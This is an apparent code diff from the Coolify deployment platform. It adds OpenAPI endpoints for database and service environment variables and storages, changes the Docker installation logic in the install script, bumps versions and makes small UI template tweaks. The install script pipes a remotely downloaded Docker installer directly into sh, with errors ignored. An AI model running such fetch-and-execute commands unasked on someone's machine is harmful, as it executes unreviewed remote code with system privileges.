description: 'Delete a persistent storage or file storage by application UUID.'
operationId: delete-storage-by-application-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the application.'
required: true
schema:
type: string
-
name: storage_uuid
in: path
description: 'UUID of the storage.'
required: true
schema:
type: string
responses:
'200':
description: 'Storage deleted.'
content:
application/json:
schema:
properties:
message: { type: string }
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
/cloud-tokens:
get:
tags:
@ -3871,6 +4084,455 @@ paths:
security:
-
bearerAuth: []
'/databases/{uuid}/envs':
get:
tags:
- Databases
summary: 'List Envs'
description: 'List all envs by database UUID.'
operationId: list-envs-by-database-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the database.'
required: true
schema:
type: string
responses:
'200':
description: 'Environment variables.'
content:
application/json:
schema:
type: array
items:
$ref: '#/components/schemas/EnvironmentVariable'
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
security:
-
bearerAuth: []
post:
tags:
- Databases
summary: 'Create Env'
description: 'Create env by database UUID.'
operationId: create-env-by-database-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the database.'
required: true
schema:
type: string
requestBody:
description: 'Env created.'
required: true
content:
application/json:
schema:
properties:
key:
type: string
description: 'The key of the environment variable.'
value:
type: string
description: 'The value of the environment variable.'
is_literal:
type: boolean
description: 'The flag to indicate if the environment variable is a literal, nothing espaced.'
is_multiline:
type: boolean
description: 'The flag to indicate if the environment variable is multiline.'
is_shown_once:
type: boolean
description: "The flag to indicate if the environment variable's value is shown on the UI."
type: object
responses:
'201':
description: 'Environment variable created.'
content:
application/json:
schema:
properties:
uuid: { type: string, example: nc0k04gk8g0cgsk440g0koko }
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
patch:
tags:
- Databases
summary: 'Update Env'
description: 'Update env by database UUID.'
operationId: update-env-by-database-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the database.'
required: true
schema:
type: string
requestBody:
description: 'Env updated.'
required: true
content:
application/json:
schema:
required:
- key
- value
properties:
key:
type: string
description: 'The key of the environment variable.'
value:
type: string
description: 'The value of the environment variable.'
is_literal:
type: boolean
description: 'The flag to indicate if the environment variable is a literal, nothing espaced.'
is_multiline:
type: boolean
description: 'The flag to indicate if the environment variable is multiline.'
is_shown_once:
type: boolean
description: "The flag to indicate if the environment variable's value is shown on the UI."
type: object
responses:
'201':
description: 'Environment variable updated.'
content:
application/json:
schema:
$ref: '#/components/schemas/EnvironmentVariable'
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
'/databases/{uuid}/envs/bulk':
patch:
tags:
- Databases
summary: 'Update Envs (Bulk)'
description: 'Update multiple envs by database UUID.'
operationId: update-envs-by-database-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the database.'
required: true
schema:
type: string
requestBody:
description: 'Bulk envs updated.'
required: true
content:
application/json:
schema:
required:
- data
properties:
data:
type: array
items: { properties: { key: { type: string, description: 'The key of the environment variable.' }, value: { type: string, description: 'The value of the environment variable.' }, is_literal: { type: boolean, description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' }, is_multiline: { type: boolean, description: 'The flag to indicate if the environment variable is multiline.' }, is_shown_once: { type: boolean, description: "The flag to indicate if the environment variable's value is shown on the UI." } }, type: object }
type: object
responses:
'201':
description: 'Environment variables updated.'
content:
application/json:
schema:
type: array
items:
$ref: '#/components/schemas/EnvironmentVariable'
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
'/databases/{uuid}/envs/{env_uuid}':
delete:
tags:
- Databases
summary: 'Delete Env'
description: 'Delete env by UUID.'
operationId: delete-env-by-database-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the database.'
required: true
schema:
type: string
-
name: env_uuid
in: path
description: 'UUID of the environment variable.'
required: true
schema:
type: string
responses:
'200':
description: 'Environment variable deleted.'
content:
application/json:
schema:
properties:
message: { type: string, example: 'Environment variable deleted.' }
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
security:
-
bearerAuth: []
'/databases/{uuid}/storages':
get:
tags:
- Databases
summary: 'List Storages'
description: 'List all persistent storages and file storages by database UUID.'
operationId: list-storages-by-database-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the database.'
required: true
schema:
type: string
responses:
'200':
description: 'All storages by database UUID.'
content:
application/json:
schema:
properties:
persistent_storages: { type: array, items: { type: object } }
file_storages: { type: array, items: { type: object } }
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
security:
-
bearerAuth: []
post:
tags:
- Databases
summary: 'Create Storage'
description: 'Create a persistent storage or file storage for a database.'
operationId: create-storage-by-database-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the database.'
required: true
schema:
type: string
requestBody:
required: true
content:
application/json:
schema:
required:
- type
- mount_path
properties:
type:
type: string
enum: [persistent, file]
description: 'The type of storage.'
name:
type: string
description: 'Volume name (persistent only, required for persistent).'
mount_path:
type: string
description: 'The container mount path.'
host_path:
type: string
nullable: true
description: 'The host path (persistent only, optional).'
content:
type: string
nullable: true
description: 'File content (file only, optional).'
is_directory:
type: boolean
description: 'Whether this is a directory mount (file only, default false).'
fs_path:
type: string
description: 'Host directory path (required when is_directory is true).'
type: object
additionalProperties: false
responses:
'201':
description: 'Storage created.'
content:
application/json:
schema:
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
patch:
tags:
- Databases
summary: 'Update Storage'
description: 'Update a persistent storage or file storage by database UUID.'
operationId: update-storage-by-database-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the database.'
required: true
schema:
type: string
requestBody:
description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.'
required: true
content:
application/json:
schema:
required:
- type
properties:
uuid:
type: string
description: 'The UUID of the storage (preferred).'
id:
type: integer
description: 'The ID of the storage (deprecated, use uuid instead).'
type:
type: string
enum: [persistent, file]
description: 'The type of storage: persistent or file.'
is_preview_suffix_enabled:
type: boolean
description: 'Whether to add -pr-N suffix for preview deployments.'
name:
type: string
description: 'The volume name (persistent only, not allowed for read-only storages).'
mount_path:
type: string
description: 'The container mount path (not allowed for read-only storages).'
host_path:
type: string
nullable: true
description: 'The host path (persistent only, not allowed for read-only storages).'
content:
type: string
nullable: true
description: 'The file content (file only, not allowed for read-only storages).'
type: object
additionalProperties: false
responses:
'200':
description: 'Storage updated.'
content:
application/json:
schema:
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
'/databases/{uuid}/storages/{storage_uuid}':
delete:
tags:
- Databases
summary: 'Delete Storage'
description: 'Delete a persistent storage or file storage by database UUID.'
operationId: delete-storage-by-database-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the database.'
required: true
schema:
type: string
-
name: storage_uuid
in: path
description: 'UUID of the storage.'
required: true
schema:
type: string
responses:
'200':
description: 'Storage deleted.'
content:
application/json:
schema:
properties:
message: { type: string }
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
/deployments:
get:
tags:
@ -6732,6 +7394,223 @@ paths:
security:
-
bearerAuth: []
'/services/{uuid}/storages':
get:
tags:
- Services
summary: 'List Storages'
description: 'List all persistent storages and file storages by service UUID.'
operationId: list-storages-by-service-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the service.'
required: true
schema:
type: string
responses:
'200':
description: 'All storages by service UUID.'
content:
application/json:
schema:
properties:
persistent_storages: { type: array, items: { type: object } }
file_storages: { type: array, items: { type: object } }
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
security:
-
bearerAuth: []
post:
tags:
- Services
summary: 'Create Storage'
description: 'Create a persistent storage or file storage for a service sub-resource.'
operationId: create-storage-by-service-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the service.'
required: true
schema:
type: string
requestBody:
required: true
content:
application/json:
schema:
required:
- type
- mount_path
- resource_uuid
properties:
type:
type: string
enum: [persistent, file]
description: 'The type of storage.'
resource_uuid:
type: string
description: 'UUID of the service application or database sub-resource.'
name:
type: string
description: 'Volume name (persistent only, required for persistent).'
mount_path:
type: string
description: 'The container mount path.'
host_path:
type: string
nullable: true
description: 'The host path (persistent only, optional).'
content:
type: string
nullable: true
description: 'File content (file only, optional).'
is_directory:
type: boolean
description: 'Whether this is a directory mount (file only, default false).'
fs_path:
type: string
description: 'Host directory path (required when is_directory is true).'
type: object
additionalProperties: false
responses:
'201':
description: 'Storage created.'
content:
application/json:
schema:
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
patch:
tags:
- Services
summary: 'Update Storage'
description: 'Update a persistent storage or file storage by service UUID.'
operationId: update-storage-by-service-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the service.'
required: true
schema:
type: string
requestBody:
description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.'
required: true
content:
application/json:
schema:
required:
- type
properties:
uuid:
type: string
description: 'The UUID of the storage (preferred).'
id:
type: integer
description: 'The ID of the storage (deprecated, use uuid instead).'
type:
type: string
enum: [persistent, file]
description: 'The type of storage: persistent or file.'
is_preview_suffix_enabled:
type: boolean
description: 'Whether to add -pr-N suffix for preview deployments.'
name:
type: string
description: 'The volume name (persistent only, not allowed for read-only storages).'
mount_path:
type: string
description: 'The container mount path (not allowed for read-only storages).'
host_path:
type: string
nullable: true
description: 'The host path (persistent only, not allowed for read-only storages).'
content:
type: string
nullable: true
description: 'The file content (file only, not allowed for read-only storages).'
type: object
additionalProperties: false
responses:
'200':
description: 'Storage updated.'
content:
application/json:
schema:
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
'/services/{uuid}/storages/{storage_uuid}':
delete:
tags:
- Services
summary: 'Delete Storage'
description: 'Delete a persistent storage or file storage by service UUID.'
operationId: delete-storage-by-service-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the service.'
required: true
schema:
type: string
-
name: storage_uuid
in: path
description: 'UUID of the storage.'
required: true
schema:
type: string
responses:
'200':
description: 'Storage deleted.'
content:
application/json:
schema:
properties:
message: { type: string }
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
/teams:
get:
tags:

View file

@ -20,7 +20,7 @@ DATE=$(date +"%Y%m%d-%H%M%S")
OS_TYPE=$(grep -w "ID" /etc/os-release | cut -d "=" -f 2 | tr -d '"')
ENV_FILE="/data/coolify/source/.env"
DOCKER_VERSION="27.0"
DOCKER_VERSION="latest"
# TODO: Ask for a user
CURRENT_USER=$USER
@ -499,13 +499,10 @@ fi
install_docker() {
set +e
curl -s https://releases.rancher.com/install-docker/${DOCKER_VERSION}.sh | sh 2>&1 || true
curl -fsSL https://get.docker.com | sh 2>&1 || true
if ! [ -x "$(command -v docker)" ]; then
curl -s https://get.docker.com | sh -s -- --version ${DOCKER_VERSION} 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo "Automated Docker installation failed. Trying manual installation."
install_docker_manually
fi
echo "Automated Docker installation failed. Trying manual installation."
install_docker_manually
fi
set -e
}
@ -548,16 +545,6 @@ if ! [ -x "$(command -v docker)" ]; then
echo " - Docker is not installed. Installing Docker. It may take a while."
getAJoke
case "$OS_TYPE" in
"almalinux")
dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
;;
"alpine" | "postmarketos")
apk add docker docker-cli-compose >/dev/null 2>&1
rc-update add docker default >/dev/null 2>&1
@ -569,8 +556,9 @@ if ! [ -x "$(command -v docker)" ]; then
fi
;;
"arch")
pacman -Sy docker docker-compose --noconfirm >/dev/null 2>&1
pacman -Syu --noconfirm --needed docker docker-compose >/dev/null 2>&1
systemctl enable docker.service >/dev/null 2>&1
systemctl start docker.service >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Failed to install Docker with pacman. Try to install it manually."
echo " Please visit https://wiki.archlinux.org/title/docker for more information."
@ -581,7 +569,7 @@ if ! [ -x "$(command -v docker)" ]; then
dnf install docker -y >/dev/null 2>&1
DOCKER_CONFIG=${DOCKER_CONFIG:-/usr/local/lib/docker}
mkdir -p $DOCKER_CONFIG/cli-plugins >/dev/null 2>&1
curl -sL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
curl -fsSL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
@ -591,34 +579,28 @@ if ! [ -x "$(command -v docker)" ]; then
exit 1
fi
;;
"centos" | "fedora" | "rhel" | "tencentos")
if [ -x "$(command -v dnf5)" ]; then
# dnf5 is available
dnf config-manager addrepo --from-repofile=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo --overwrite >/dev/null 2>&1
else
# dnf5 is not available, use dnf
dnf config-manager --add-repo=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo >/dev/null 2>&1
fi
"almalinux" | "tencentos")
dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
;;
"ubuntu" | "debian" | "raspbian")
"ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "sles")
install_docker
if ! [ -x "$(command -v docker)" ]; then
echo " - Automated Docker installation failed. Trying manual installation."
install_docker_manually
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
;;
*)
install_docker
if ! [ -x "$(command -v docker)" ]; then
echo " - Automated Docker installation failed. Trying manual installation."
install_docker_manually
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
;;
esac
@ -627,6 +609,19 @@ else
echo " - Docker is installed."
fi
# Verify minimum Docker version
MIN_DOCKER_VERSION=24
INSTALLED_DOCKER_VERSION=$(docker version --format '{{.Server.Version}}' 2>/dev/null | cut -d. -f1)
if [ -z "$INSTALLED_DOCKER_VERSION" ]; then
echo " - WARNING: Could not determine Docker version. Please ensure Docker $MIN_DOCKER_VERSION+ is installed."
elif [ "$INSTALLED_DOCKER_VERSION" -lt "$MIN_DOCKER_VERSION" ]; then
echo " - ERROR: Docker version $INSTALLED_DOCKER_VERSION is too old. Coolify requires Docker $MIN_DOCKER_VERSION or newer."
echo " Please upgrade Docker: https://docs.docker.com/engine/install/"
exit 1
else
echo " - Docker version $(docker version --format '{{.Server.Version}}' 2>/dev/null) meets minimum requirement ($MIN_DOCKER_VERSION+)."
fi
log_section "Step 4/9: Checking Docker configuration"
echo "4/9 Checking Docker configuration..."

View file

@ -1,7 +1,7 @@
{
"coolify": {
"v4": {
"version": "4.0.0-beta.469"
"version": "4.0.0-beta.470"
},
"nightly": {
"version": "4.0.0"
@ -13,17 +13,17 @@
"version": "1.0.11"
},
"sentinel": {
"version": "0.0.19"
"version": "0.0.21"
}
},
"traefik": {
"v3.6": "3.6.5",
"v3.6": "3.6.11",
"v3.5": "3.5.6",
"v3.4": "3.4.5",
"v3.3": "3.3.7",
"v3.2": "3.2.5",
"v3.1": "3.1.7",
"v3.0": "3.0.4",
"v2.11": "2.11.32"
"v2.11": "2.11.40"
}
}

View file

@ -22,6 +22,7 @@
<env name="QUEUE_CONNECTION" value="sync" force="true"/>
<env name="SESSION_DRIVER" value="array" force="true"/>
<env name="TELESCOPE_ENABLED" value="false"/>
<env name="NIGHTWATCH_ENABLED" value="false"/>
</php>
<source>
<include>

82
public/svgs/espocrm.svg Normal file
View file

@ -0,0 +1,82 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
width="379.36536"
height="83.256203"
enable-background="new 0 0 307.813 75"
overflow="visible"
version="1.1"
viewBox="0 0 303.49228 66.604962"
xml:space="preserve"
id="svg20"
sodipodi:docname="logo2.svg"
inkscape:version="1.1.2 (0a00cf5339, 2022-02-04)"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg"><defs
id="defs24" /><sodipodi:namedview
id="namedview22"
pagecolor="#ffffff"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageshadow="2"
inkscape:pageopacity="0.0"
inkscape:pagecheckerboard="0"
showgrid="false"
scale-x="0.8"
fit-margin-top="0"
fit-margin-left="0"
fit-margin-right="0"
fit-margin-bottom="0"
inkscape:zoom="2.172956"
inkscape:cx="109.75832"
inkscape:cy="79.384949"
inkscape:window-width="1920"
inkscape:window-height="1074"
inkscape:window-x="0"
inkscape:window-y="0"
inkscape:window-maximized="1"
inkscape:current-layer="svg20" />
<switch
transform="matrix(1.089,0,0,1.089,-14.949525,-4.9304545)"
id="switch18">
<foreignObject
width="1"
height="1"
requiredExtensions="http://ns.adobe.com/AdobeIllustrator/10.0/">
</foreignObject>
<g
transform="matrix(0.96767,0,0,0.96767,3.9659,-1.2011)"
id="g16">
<path
d="m 169.53,21.864 c -7.453,2.972 -9.569,11.987 -9.005,19.212 1.587,2.982 3.845,5.562 5.783,8.312 l 4.262,-1.083 c -1.796,-4.447 -1.689,-9.424 -0.806,-14.066 0.585,-3.001 2.309,-6.476 5.634,-7.032 5.307,-0.847 10.733,-0.271 16.088,-0.369 0.091,-2.196 0.115,-4.392 0.107,-6.585 -7.333,0.387 -15.043,-1.038 -22.063,1.611 z m 52.714,-1.294 c -8.12,-0.952 -16.332,-0.149 -24.492,-0.387 -0.021,6.43 -0.003,12.854 0.078,19.274 2.625,-0.849 5.251,-1.739 7.909,-2.532 0.042,-3.272 0.028,-6.527 -0.071,-9.789 4.869,-0.029 9.874,-0.757 14.639,0.451 1.838,0.298 2.051,2.25 2.687,3.641 2.541,-0.891 5.111,-1.717 7.672,-2.574 -0.703,-4.246 -4.129,-7.633 -8.422,-8.084 z m 23.522,-0.593 c -3.954,0.072 -7.912,0.064 -11.864,0.047 0.051,2.544 0.063,5.074 0.072,7.617 4.263,-1.482 8.553,-2.889 12.848,-4.268 -0.35,-1.128 -0.706,-2.268 -1.056,-3.396 z"
fill="#6a3201"
id="path2" />
<path
d="m 161.96,69.125 c 7.886,-3.717 15.757,-7.463 23.72,-11.018 5.563,0.359 11.146,0.021 16.722,0.193 1.14,-0.036 2.292,-0.061 3.432,-0.088 -0.011,-3.195 -0.025,-6.38 -0.082,-9.564 3.428,-1.502 10.227,-4.623 10.227,-4.623 l 15.215,13.941 11.096,0.106 -0.715,-26.236 0.803,-0.211 9.005,26.344 8.834,-0.066 8.99,-28.394 -0.308,28.434 8.074,-0.021 -0.231,-37.932 -9.279,0.071 30.625,-14.141 c 0,0 -37.593,14.279 -56.404,21.385 -2.996,1.022 -5.878,2.315 -8.853,3.394 -2.278,0.867 -4.558,1.713 -6.834,2.58 -20.071,7.526 -39.945,15.604 -60.126,22.803 C 159.094,45.56 150.557,36.228 144.103,25.497 Z m 72.116,-17.961 c -0.108,0.154 -0.324,0.458 -0.429,0.611 -3.448,-3.018 -6.765,-6.189 -10.21,-9.205 1.745,-1.096 3.47,-2.242 5.026,-3.597 1.625,-1.386 3.479,-2.469 5.345,-3.499 0.293,5.227 0.258,10.452 0.268,15.69 z m 23.942,-9.67 c -0.857,2.578 -1.825,5.137 -2.793,7.682 -1.644,-6.217 -3.94,-12.238 -5.856,-18.383 -0.119,-0.52 -0.366,-1.574 -0.487,-2.093 3.428,-1.709 10.585,-4.854 15.229,-6.815 -1.647,5.969 -4.306,14.029 -6.093,19.609 z"
fill="#ffb300"
id="path4" />
<g
fill="#6a3201"
id="g14">
<path
d="M 45.672,58.148 H 27.146 c -2.861,0 -5.614,-0.651 -8.257,-1.953 -2.861,-1.409 -5.043,-3.651 -6.547,-6.725 -1.503,-3.074 -2.254,-6.455 -2.254,-10.145 0,-3.652 0.724,-6.961 2.173,-9.926 1.594,-3.219 3.803,-5.569 6.628,-7.052 1.557,-0.795 3.052,-1.355 4.482,-1.682 1.43,-0.325 3.07,-0.488 4.917,-0.488 h 17.168 v 6.789 H 29.57 c -1.415,0 -2.602,0.187 -3.563,0.558 -0.961,0.372 -1.912,1.037 -2.855,1.994 -0.943,0.957 -1.597,1.887 -1.959,2.791 -0.363,0.902 -0.543,2.027 -0.543,3.375 h 25.023 v 6.789 H 20.648 c 0,1.24 0.164,2.325 0.491,3.256 0.327,0.93 0.919,1.887 1.776,2.871 0.856,0.985 1.749,1.732 2.677,2.242 0.929,0.512 2.03,0.767 3.306,0.767 h 16.774 z"
id="path6" />
<path
d="m 76.499,49.519 c 0,2.397 -0.771,4.449 -2.312,6.154 -1.541,1.706 -3.49,2.56 -5.846,2.56 H 49.688 V 53.12 h 15.326 c 1.087,0 2.001,-0.272 2.744,-0.817 0.743,-0.545 1.115,-1.327 1.115,-2.345 0,-2.362 -1.595,-3.543 -4.783,-3.543 h -7.825 c -1.666,0 -3.278,-0.79 -4.836,-2.369 -1.559,-1.58 -2.336,-3.287 -2.336,-5.119 0,-2.585 0.579,-4.667 1.738,-6.248 1.34,-1.794 3.313,-2.692 5.922,-2.692 h 17.928 v 5.364 H 58.743 c -0.614,0 -1.147,0.289 -1.599,0.868 -0.452,0.579 -0.677,1.235 -0.677,1.972 0,0.807 0.298,1.498 0.896,2.076 0.597,0.579 1.311,0.867 2.144,0.867 h 8.415 c 2.643,0 4.733,0.79 6.271,2.369 1.536,1.579 2.306,3.584 2.306,6.016 z"
id="path8" />
<path
d="m 109.29,43.414 c 0,4.495 -1.166,8.074 -3.497,10.738 -2.331,2.664 -5.395,3.996 -9.188,3.996 H 88.419 V 68.457 H 80.792 V 29.985 h 15.09 c 4.27,0 7.6,1.269 9.989,3.806 2.279,2.428 3.419,5.637 3.419,9.623 z m -7.627,0.405 c 0,-2.356 -0.754,-4.286 -2.262,-5.793 -1.509,-1.505 -3.388,-2.258 -5.641,-2.258 h -5.341 v 16.429 h 5.886 c 2.179,0 3.951,-0.771 5.313,-2.313 1.363,-1.54 2.045,-3.562 2.045,-6.065 z"
id="path10" />
<path
d="m 145.1,43.967 c 0,4.896 -1.557,8.65 -4.669,11.261 -2.86,2.394 -6.751,3.591 -11.673,3.591 -4.923,0 -8.742,-1.087 -11.456,-3.264 -3.15,-2.502 -4.724,-6.401 -4.724,-11.696 0,-4.424 1.701,-7.906 5.104,-10.446 3.04,-2.283 6.786,-3.427 11.238,-3.427 4.887,0 8.805,1.225 11.754,3.673 2.949,2.448 4.426,5.884 4.426,10.308 z m -8.382,-0.065 c 0,-2.285 -0.716,-4.197 -2.146,-5.738 -1.432,-1.54 -3.379,-2.312 -5.841,-2.312 -2.246,0 -4.103,0.79 -5.57,2.366 -1.467,1.577 -2.2,3.563 -2.2,5.955 0,2.756 0.743,4.949 2.228,6.581 1.485,1.632 3.405,2.448 5.76,2.448 2.679,0 4.673,-0.852 5.977,-2.557 1.193,-1.557 1.792,-3.805 1.792,-6.743 z"
id="path12" />
</g>
</g>
</switch>
</svg>

After

Width:  |  Height:  |  Size: 5.9 KiB

View file

@ -163,7 +163,7 @@ tbody {
}
tr {
@apply text-black dark:text-neutral-400 dark:hover:bg-black hover:bg-neutral-200;
@apply text-black dark:text-neutral-400 dark:hover:bg-coolgray-300 hover:bg-neutral-100;
}
tr th {

View file

@ -190,7 +190,7 @@ class="relative w-auto h-auto">
@endif
<template x-teleport="body">
<div x-show="modalOpen"
class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-screen p-4" x-cloak>
class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-screen p-0 sm:p-4" x-cloak>
<div x-show="modalOpen" class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs">
</div>
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
@ -199,7 +199,7 @@ class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-scree
x-transition:leave="ease-in duration-100"
x-transition:leave-start="opacity-100 translate-y-0 sm:scale-100"
x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95"
class="relative w-full border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
class="relative w-full border rounded-none sm:rounded-sm min-w-full lg:min-w-[36rem] max-w-full sm:max-w-[48rem] h-screen sm:h-auto max-h-screen sm:max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
<div class="flex justify-between items-center py-6 px-7 shrink-0">
<h3 class="pr-8 text-2xl font-bold">{{ $title }}</h3>
<button @click="modalOpen = false; resetModal()"

View file

@ -12,17 +12,18 @@
$projects = $projects ?? Project::ownedByCurrentTeamCached();
$environments = $environments ?? $resource->environment->project
->environments()
->select('id', 'uuid', 'name', 'project_id')
->with([
'applications',
'services',
'postgresqls',
'redis',
'mongodbs',
'mysqls',
'mariadbs',
'keydbs',
'dragonflies',
'clickhouses',
'applications:id,uuid,name,environment_id',
'services:id,uuid,name,environment_id',
'postgresqls:id,uuid,name,environment_id',
'redis:id,uuid,name,environment_id',
'mongodbs:id,uuid,name,environment_id',
'mysqls:id,uuid,name,environment_id',
'mariadbs:id,uuid,name,environment_id',
'keydbs:id,uuid,name,environment_id',
'dragonflies:id,uuid,name,environment_id',
'clickhouses:id,uuid,name,environment_id',
])
->get();
$currentProjectUuid = data_get($resource, 'environment.project.uuid');
@ -63,7 +64,7 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
</li>
<!-- Environment Level -->
<li class="inline-flex items-center" x-data="{ envOpen: false, activeEnv: null, envPositions: {}, activeRes: null, resPositions: {}, activeMenuEnv: null, menuPositions: {}, closeTimeout: null, envTimeout: null, resTimeout: null, menuTimeout: null, toggle() { this.envOpen = !this.envOpen; if (!this.envOpen) { this.activeEnv = null; this.activeRes = null; this.activeMenuEnv = null; } }, open() { clearTimeout(this.closeTimeout); this.envOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.envOpen = false; this.activeEnv = null; this.activeRes = null; this.activeMenuEnv = null; }, 100) }, openEnv(id) { clearTimeout(this.closeTimeout); clearTimeout(this.envTimeout); this.activeEnv = id }, closeEnv() { this.envTimeout = setTimeout(() => { this.activeEnv = null; this.activeRes = null; this.activeMenuEnv = null; }, 100) }, openRes(id) { clearTimeout(this.envTimeout); clearTimeout(this.resTimeout); this.activeRes = id }, closeRes() { this.resTimeout = setTimeout(() => { this.activeRes = null; this.activeMenuEnv = null; }, 100) }, openMenu(id) { clearTimeout(this.resTimeout); clearTimeout(this.menuTimeout); this.activeMenuEnv = id }, closeMenu() { this.menuTimeout = setTimeout(() => { this.activeMenuEnv = null; }, 100) } }">
<li class="inline-flex items-center" x-data="{ envOpen: false, activeEnv: null, envPositions: {}, closeTimeout: null, envTimeout: null, toggle() { this.envOpen = !this.envOpen; if (!this.envOpen) { this.activeEnv = null; } }, open() { clearTimeout(this.closeTimeout); this.envOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.envOpen = false; this.activeEnv = null; }, 100) }, openEnv(id) { clearTimeout(this.closeTimeout); clearTimeout(this.envTimeout); this.activeEnv = id }, closeEnv() { this.envTimeout = setTimeout(() => { this.activeEnv = null; }, 100) } }">
<div class="flex items-center relative" @mouseenter="open()"
@mouseleave="close()">
<a class="text-xs truncate lg:text-sm hover:text-warning" {{ wireNavigate() }}
